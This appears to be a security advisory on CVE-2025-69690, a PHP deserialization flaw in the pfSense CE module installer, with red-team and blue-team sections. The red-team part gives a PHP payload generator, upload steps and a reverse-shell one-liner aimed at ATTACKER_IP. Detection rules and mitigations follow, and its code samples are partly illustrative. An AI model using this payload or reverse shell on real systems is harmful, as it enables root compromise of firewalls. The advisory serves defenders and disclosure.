CVE-2025-69690

Executive Summary

CVE-2025-69690 is a critical deserialization vulnerability in Netgate pfSense CE 2.7.2 that allows authenticated administrators to achieve arbitrary code execution. The flaw resides in the module installer, which unserializes PHP objects from backup files without proper sanitization. By crafting a backup file containing a serialized PHP object with a post_reboot_commands property, an attacker can execute arbitrary commands on the target system. The CVSS score is 9.1 (Critical), and the vulnerability is currently unpatched. The vendor disputes the severity, arguing that the installer is only accessible to admins who are intentionally allowed to execute PHP code. However, this still represents a privilege escalation risk if an attacker compromises an admin account.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the pfSense CE distribution. The module installer is a built-in component of the pfSense operating system, which is based on FreeBSD and uses PHP for its web interface. The risk is that a compromised admin account could be used to deploy malicious code across the network, potentially affecting other systems managed by pfSense.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires admin access
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high privileges required reduce the overall score from a perfect 10, but the impact is severe once an admin account is compromised.

Deep Dive & Mechanics

The vulnerability is a classic PHP object injection via deserialization. The pfSense module installer processes backup files (typically .xml or .tar.gz archives) that contain serialized PHP objects. When restoring a backup, the installer unserializes the object without validating its properties. An attacker can craft a malicious backup file where the serialized object includes a post_reboot_commands property. This property is intended to store commands to be executed after a system reboot. By injecting arbitrary commands into this property, the attacker achieves code execution with root privileges (since the web interface runs as root).

The attack flow:

1. Attacker gains admin credentials (via phishing, brute force, or other means).
2. Attacker crafts a backup file with a serialized PHP object containing post_reboot_commands.
3. Attacker logs into the pfSense web interface and uploads the malicious backup via the module installer.
4. The system processes the backup, unserializes the object, and stores the commands.
5. Upon reboot (or immediate execution if the installer triggers it), the commands run as root.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code pattern to a hypothetical secure implementation.

Vulnerable Code (pfSense CE 2.7.2):

// In module installer
$backup_data = file_get_contents($uploaded_file);
$object = unserialize($backup_data);
if (isset($object->post_reboot_commands)) {
    // Execute commands
    system($object->post_reboot_commands);
}

Patched Code (Hypothetical):

// In module installer
$backup_data = file_get_contents($uploaded_file);
$object = unserialize($backup_data, ['allowed_classes' => false]); // Disallow object deserialization
// Or validate the object structure
if ($object instanceof AllowedBackupClass) {
    // Process only if it's a known safe class
}

The key difference is the lack of validation and the use of unserialize without restrictions. A secure implementation would either disallow object deserialization entirely or whitelist specific classes.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin credentials for pfSense CE 2.7.2
• Network access to the pfSense web interface (port 443 or 80)

Exploit Steps:

1. Create a malicious serialized PHP object:

   <?php
   class MaliciousBackup {
       public $post_reboot_commands = "id > /tmp/pwned.txt";
   }
   $payload = serialize(new MaliciousBackup());
   file_put_contents('malicious_backup.xml', $payload);
   ?>
   

2. Log into pfSense as admin.
3. Navigate to System > Package Manager > Module Installer.
4. Upload malicious_backup.xml as a backup file.
5. Reboot the pfSense system (or wait for the installer to trigger execution).
6. Verify code execution: cat /tmp/pwned.txt should show the output of id.

Alternative Payload (Reverse Shell):

public $post_reboot_commands = "bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'";

Blue Team

Detection Steps:

1. Monitor for unusual backup file uploads to the module installer.
2. Check for unexpected reboot commands or system modifications.
3. Look for serialized PHP objects in backup files (strings starting with O: or C:).
4. Audit admin account activity for suspicious logins or file uploads.

Honeypot:

• Deploy a fake pfSense instance with the vulnerable module installer to capture attacker payloads.

Indicators of Compromise (IOCs)

• File: Backup files containing serialized PHP objects with post_reboot_commands property.
• Network: Outbound connections from pfSense to attacker IPs (reverse shell).
• Process: Unexpected commands executed via system() or exec().
• Log: Entries in /var/log/system.log showing reboot or command execution.
• File System: Presence of /tmp/pwned.txt or similar test files.

Detection Engineering

YARA Rule

rule CVE_2025_69690_Serialized_PHP_Object {
    meta:
        description = "Detects serialized PHP objects with post_reboot_commands in backup files"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-69690"
    strings:
        $serialized = /O:\d+:"[^"]+":\d+:\{/
        $post_reboot = "post_reboot_commands"
    condition:
        $serialized and $post_reboot
}

Sigma Rule

title: CVE-2025-69690 - Malicious Backup Upload to pfSense Module Installer
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of backup files containing serialized PHP objects with post_reboot_commands
author: Valters IT
date: 2025-01-01
logsource:
    category: web
    product: pfSense
detection:
    selection:
        http.method: POST
        http.url: '/pkg_mgr_install.php'
        http.body: '*post_reboot_commands*'
    condition: selection
falsepositives:
    - Legitimate backup restores (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69690 - Malicious Backup Upload to pfSense"; flow:to_server; content:"POST"; http_method; content:"/pkg_mgr_install.php"; http_uri; content:"post_reboot_commands"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict admin account access to trusted IPs only.
2. Enable multi-factor authentication (MFA) for all admin accounts.
3. Monitor backup file uploads and audit logs for suspicious activity.
4. Disable the module installer if not needed (via system settings).

Long-Term Fix:

• Apply a patch from Netgate when available.
• Implement input validation for backup files (e.g., check for serialized objects).
• Use a whitelist of allowed PHP classes for deserialization.

Workaround:

• Manually review all backup files before uploading.
• Use a custom script to sanitize backup files by removing serialized objects.

Valters IT